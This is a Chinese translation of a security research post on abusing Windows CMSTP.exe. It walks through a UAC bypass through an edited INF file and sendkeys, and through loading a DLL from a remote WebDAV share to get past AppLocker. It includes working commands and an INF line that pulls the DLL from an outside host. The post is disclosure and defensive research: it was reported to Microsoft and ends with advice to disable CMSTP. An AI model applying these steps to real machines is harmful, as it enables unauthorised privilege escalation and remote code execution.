记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

2017-08-24 05:10
2017-08-23 15:46:55 阅读:2181次 收藏 来源: msitpros.com 作者:myswsun

http://p0.qhimg.com/t01b0df65eee3adf804.jpg

译者:myswsun

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言


我乐于花时间深入研究Windows内部的二进制文件以发现隐藏的功能。本文就是我发现的关于CMSTP.exe文件的一些东西。

我发现了使用sendkeys来绕过UAC的方式及从Webdav服务器加载DLL的方式。我知道我发现的绕过方式有点无聊,但是如果这能鼓励其他人一起加入研究,我将非常高兴。在这个二进制文件中可能有更多的东西等待被发现,所以我们继续往下看。

我已经把这个问题报告给了MSRC,他们已经解决了这个问题。

UAC绕过漏洞通常问题不大,可以通过合理配置阻止终端用户访问本地管理员功能。(UAC不是安全边界)

如果你想要了解更多UAC相关的内容,我推荐阅读James Foreshaw的精彩文章:

https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html
       https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html
       https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html


0x01绕过UAC


下载下面的inf文件和脚本文件,把他们保存到系统中:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1
       https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf

调整脚本并运行,结果如下:

https://msitpros.com/wp-content/uploads/2017/08/UAC-Bypass-Sendkeys-CMSTP.gif

http://pic1.hackdig.com/pp/4ae20cb14ac9d56f7929b4ff9e5d5272c3b0c9db8cd1f22e6c1106025952c30778bb5d071d87b50f2f2ba13292d5e326.jpg


0x02从Webdav加载DLL


下载下面的文件(文件名很重要):

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cmp
       https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cms
       https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-inf

调整inf文件中的“RegisterOCXSection”,将它指向托管于你的Webdav服务器上的DLL。

然后运行下面的命令(文件名很重要):

Cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

https://msitpros.com/wp-content/uploads/2017/08/WebDavDLLLoadBlog.gif

http://pic1.hackdig.com/pp/97721f81cf192897d44977a79bcfea8a91545b9f8dde1d962dd041db812ce70ffe3ce00a512bfecf4fa4724ed80b8e4a.jpg


0x03绕过UAC的步骤


本节,我将描述所有的步骤。下面会有很多截图,但是我认为是有必要的。

如果你不加参数启动了cmstp.exe,结果如下:

http://pic1.hackdig.com/pp/e9bc9757a3269a7bcd34a164302bda732bb9da54bef20720492f69a81bf96abac7af29eea6cde1818788ea51ad7ab6ad.jpg

如何创建这些配置文件和它们如何安装才是有趣的地方。

我阅读了一些关于CMAK(Connection Manager Administration Kit)的资料——其是Windows的一个功能,因此我继续通过如下方式启动了它:

http://pic1.hackdig.com/pp/69703ce7a46d1e2ebe4a3bf5791266bff0c72dfecfc4bcee5e1fc50e5a7e694da1c758b4b8b2485bf489b50d682b584a.jpg

当这个功能安装完成后,你能在开始菜单中启动CMAK。它的图标如下:

http://pic1.hackdig.com/pp/4ae20cb14ac9d56f7929b4ff9e5d52723e93551a30a7d11da9160254908f245bbaf781f5a3eb63a7d0ee104ed9f0c55c.jpg

在启动CMAK后,会出现下面的向导。下面的截图是我选择的选项:

http://pic1.hackdig.com/pp/c3eab2e98ed566d0e41940afa978dad6f4e7c8579f2bae592886203b29787484e915f599701a264580d58967b3cdbffd.jpg

http://pic1.hackdig.com/pp/214a8a6035b31e2495d6d890f5a69a03ba46562b4b2a004697312ac1bb1cc8f26eaf0f6bf27eda95a0e4d9d7ee062fe0.jpg

http://pic1.hackdig.com/pp/214a8a6035b31e2495d6d890f5a69a039d665c7feab3f7a4909f9bb18e2000c953b91667b3b3f4b2efd51eb3d6515011.jpg

http://pic1.hackdig.com/pp/d2bd8ab8780efecdb70a25b22e968cee4477ed92438cf24942ac0347d33f809fc61fb4b2c2b4fdffd53d6fafa2fcda43.jpg

http://pic1.hackdig.com/pp/7c360a5426b1886df0a9cfdd6f62828320faeb270aa3025c01dc530645b75b1e97c5ca93d20fa575f138182ad256a20a.jpg

http://pic1.hackdig.com/pp/caef4276da6ef4784d52dd7d3c29517c7e660e3dc7fb4d6ad490aee457d92684c3fc2f6b6da9b5092a6e9cba4601dd7c.jpg

http://pic1.hackdig.com/pp/caef4276da6ef4784d52dd7d3c29517c3b183e43ee5b1ba3207b27a99d83917cb83a4b1bb552494f8783acfa682caa59.jpg

http://pic1.hackdig.com/pp/97721f81cf192897d44977a79bcfea8addbe1a6fb97eeeea1069ad7f1dd748c5d484083913665c1ced4340c264b248a6.jpg

http://pic1.hackdig.com/pp/e9bc9757a3269a7bcd34a164302bda739bb45f8ad237ede0ad5d8d35f26b1f6487153159d87aade7f25c4b5516c7c3ef.jpg

http://pic1.hackdig.com/pp/2922be572a83b8a8c47e1e825dc54607674d69d420bb20bad39de7a9aba1071d94f068f18bcef46f2ab693ad0680a2d8.jpg

http://pic1.hackdig.com/pp/214a8a6035b31e2495d6d890f5a69a033b5a17612fe8c9f521c10ad7789c9321d98980704641b897bcd14df99f5ee4cb.jpg

http://pic1.hackdig.com/pp/2922be572a83b8a8c47e1e825dc546070c044ee3bd0b46224a1e7aedc0f78e8095ecd4dd1c08447ad277bb8aeb8e850c.jpg

http://pic1.hackdig.com/pp/c3eab2e98ed566d0e41940afa978dad6d5a3c09a18c397669c74abc58957faaaeec912a5916bc0f8c742ab61cfc42d4e.jpg

http://pic1.hackdig.com/pp/214a8a6035b31e2495d6d890f5a69a0308028cbad8fa0710cc8153a7d68a9c82ada92acb49870d9836c44677b9ad28bf.jpg

http://pic1.hackdig.com/pp/d2bd8ab8780efecdb70a25b22e968cee58669fa46edf9bf2a767442b169935be91bda0bae7a1ec64295ba798126ddae7.jpg

http://pic1.hackdig.com/pp/2922be572a83b8a8c47e1e825dc546076109eaeb265bf17060051e09c23e066347f313b3799ff82697e600377165af6f.jpg

http://pic1.hackdig.com/pp/d2bd8ab8780efecdb70a25b22e968ceea605228a4a272c101c9e59c5fd7eadb70d7625fbb3c93c86be4c09d817f84004.jpg

http://pic1.hackdig.com/pp/e9bc9757a3269a7bcd34a164302bda73e3ff150098fe41c8f33eccbf6fafe84d07a77562ed96fc38631fe46d7433e491.jpg

http://pic1.hackdig.com/pp/caef4276da6ef4784d52dd7d3c29517cdadaac3e2f85103a4e78a7761c038e99214782884d1151c38b091f34cc3f274e.jpg

http://pic1.hackdig.com/pp/97721f81cf192897d44977a79bcfea8a2d7a289e13916918265674434fd83adc73488f5d15782372a5f1255147163d8b.jpg

http://pic1.hackdig.com/pp/69703ce7a46d1e2ebe4a3bf5791266bf432979de7735fd32db8d698a4c15fc97f15621be1ec46ef076bc3e3fd4ccd277.jpg

文件位于向导中显示的路径下。我的这个例子中是:C:\Program Files\CMAK\Profiles\Windows Vista and above\CorpVPN\

http://pic1.hackdig.com/pp/4ae20cb14ac9d56f7929b4ff9e5d5272f80aec5abf75e2b294a35975a1c643b64e0c60c68530fef0a78b31037e05cdf3.jpg

这个.exe和.sed文件是IEXPRESS(Windows中用于创建“installer“的二进制文件)文件。可以忽略它们。更多关于IEXPRESS的细节如下:https://en.wikipedia.org/wiki/IExpress

现在可以愉快的玩耍了。

在C盘下创建一个文件夹(名为CMSTP)。复制CorpVPN.inf文件到这个目录中:

http://pic1.hackdig.com/pp/e9bc9757a3269a7bcd34a164302bda73238d397f448eaead9cc0400233821956abdff823cc2df835a918fb2698f47729.jpg

现在使用记事本打开inf文件,找到RunPreSetupCommandsSection,然后添加下面两行代码(第一行是你想运行的命令):

c:\windows\system32\cmd.exe
 taskkill /IM cmstp.exe /F

t01e6e84f3530aab840.png

你需要注释下面两行:

CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
 AddReg=Xnstall.AddReg.AllUsers

http://pic1.hackdig.com/pp/7c360a5426b1886df0a9cfdd6f628283b729b70361c43de10a885713a4ad91fc8d2647fb8107ea38d0b39a9564f56520.jpg

现在,如果你运行下面的命令行,点击提示框:

C:\Windows\System32\cmstp.exe c:\cmstp\corpvpn.inf /au

http://pic1.hackdig.com/pp/c3eab2e98ed566d0e41940afa978dad6eaa6247bed20d56b19b93e063cb8b9394ee7f0d155d1b2cce4606dccbcc38777.jpg

奇怪的是这个可执行文件不该自动提权。如果我们运行sigcheck检测这个文件,从转储的manifest中我们可以确认这个:

http://pic1.hackdig.com/pp/e9bc9757a3269a7bcd34a164302bda73df881b9e6a0239d11fc3a229629a12d2835977189b68f7337a70e08523979053.jpg

同时,如果我们检查这个进程的特权级,我们确定它默认不该提权,但是现在运行于medium特权级:

http://pic1.hackdig.com/pp/2922be572a83b8a8c47e1e825dc5460733d73315eea2a24e9f9eb835c6ba34abf58625886148b766324d3336d8dd3667.jpg

现在有趣的是我们可以使用脚本中的sendkeys来自动提权。所有需要的东西我们都有了。

微软在过去已经采取了安全措施(UIPI)来阻止sendkeys攻击,因此我很惊讶这个还能起作用。我认为这有点酷啊。。。

我创建了一个简单的脚本:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1

我还编写了个预置的UACBypass.inf文件,因此你不需要按照上述步骤来安装CMAK:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf

我没有时间来逆向CMSTP以查看它是如何提权的,但是其他人可以进一步研究。如果我有时间我也会研究下。


0x04从Webdav服务器实现加载DLL的步骤


我还发现了你能从Webdav中加载DLL文件,并执行它们。这在一些场景中能用于绕过AppLocker。你能按照绕过UAC中的CMAK向导教程来完成这个。

你需要在INF文件中添加下面的内容(你能看到从磁盘加载的dll):

[RegisterOCXSection]
 \\10.10.10.10\webdav\AllTheThings.dll

http://pic1.hackdig.com/pp/69703ce7a46d1e2ebe4a3bf5791266bfb050367469f6ebf6a9349a1a551ecdedb51c5d0f5f0ef9cfe25fd462cff9aa06.jpg

在你运行这个命令之前,你还需要CorpVPN.cmp和CorpVPN.cms,将它们放置于和INF文件同目录:

http://pic1.hackdig.com/pp/d2bd8ab8780efecdb70a25b22e968ceeacea3fdc2f348ad76720cf3c106233029c0ecc6b4ed5fc1f314f9d1ca639d820.jpg

当然你的DLL文件需要位于Webdav服务器上。

现在,你应该能运行下面的命令来加载DLL了:

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

注意,这将安装一个VPN配置,我还没发现其他更好的方式来加载dll。

AllTheThings.dll来自Casey Smith(@Subtee)的分享:

https://github.com/subTee/AllTheThings

作为防御者,我开始研究CMSTP.exe,如果你开启了Device Guard/Applocker,我建议禁用CMSTP。(除非你需要依赖它来安装VPN连接)。


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://msitpros.com/?p=3960

知识来源: bobao.360.cn/learning/detail/4293.html

阅读:159288 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云